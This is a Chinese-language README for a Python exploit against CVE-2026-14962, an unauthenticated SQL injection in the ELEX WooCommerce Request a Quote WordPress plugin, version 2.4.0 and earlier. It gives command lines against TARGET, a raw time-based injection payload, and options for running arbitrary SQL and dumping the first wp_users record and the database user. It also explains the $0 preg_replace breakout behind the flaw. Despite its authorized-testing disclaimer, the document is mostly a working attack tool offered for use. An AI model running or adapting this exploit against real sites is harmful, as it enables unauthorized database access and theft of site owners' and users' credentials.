WordPress 插件 ELEX WooCommerce Request a Quote 未认证 SQL 注入
ELEX WooCommerce Request a Quote(WordPress 插件 elex-request-a-quote)≤ 2.4.0 — 通过公开的 elex_raq_add_to_quote AJAX 操作实现未认证 SQL 注入。
仅限授权测试。请勿对您不拥有或未获授权测试的系统运行此工具。
要求: Python 3,仅使用标准库。目标必须运行 WooCommerce(报价脚本/nonce 会打印在商店/首页上)。
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u https://TARGET --test --insecure
python3 cve-2026-14962-elex-raq-sqli.py -u TARGET --test
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --dump --pid 11
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sleep 3
python3 cve-2026-14962-elex-raq-sqli.py -u http://TARGET --sql 'OR JSON_ARRAY(SLEEP(3)))#'
| 参数 | 作用 |
|---|---|
-u / --url | WordPress 站点根地址(必填)。http:// 或 https://;若为主机名,会先尝试 HTTPS,再尝试 HTTP。自签名 TLS 会自动重试。--insecure 从一开始就跳过验证 |
--test | 访客模式:插件版本 + 公开 nonce,然后执行非破坏性的 $0 SQL 探测 |
--dump | 第一条 wp_users 记录 + 数据库用户。需要启用 WP_DEBUG,以便 XPATH 错误出现在 HTTP 响应体中 |
--query SQL | 您自己的 SQL 表达式(不能包含单引号;字符串请使用 0x… 十六进制表示) |
--sql EXPR | 在 $0$0 突破之后的原始 data[id](由您编写 ) OR … # 利用片段) |
--sleep N | 基于时间的 SLEEP(N) 尝试 |
--pid / --vid | WooCommerce 产品 / 变体 ID(变体必须非空才能触发该漏洞点) |
--insecure | 跳过 TLS 验证 |
--timeout | HTTP 超时秒数(默认 30) |
未认证。nonce 会打印在 / 和 /shop/ 页面的 request_a_quote_ajax_obj 中。访客 cookie 为 request_a_quote_user_coockie(插件自身的拼写)。
--test 会 POST attribute_value=$0。存在漏洞的 2.4.0 版本中,preg_replace 将 $0 视为 %s 匹配项,并在查询中留下字面量 %d。2.4.1 版本绑定了 JSON_CONTAINS,$0 仅作为 JSON 值。
标准输出:VERSION、NONCE、VULNERABLE、NOT_VULNERABLE、NOT_FOUND、NO_NONCE、NO_DUMP、SQLERR、SLEEP。
CVE:CVE-2026-14962。插件更新日志 2.4.1。
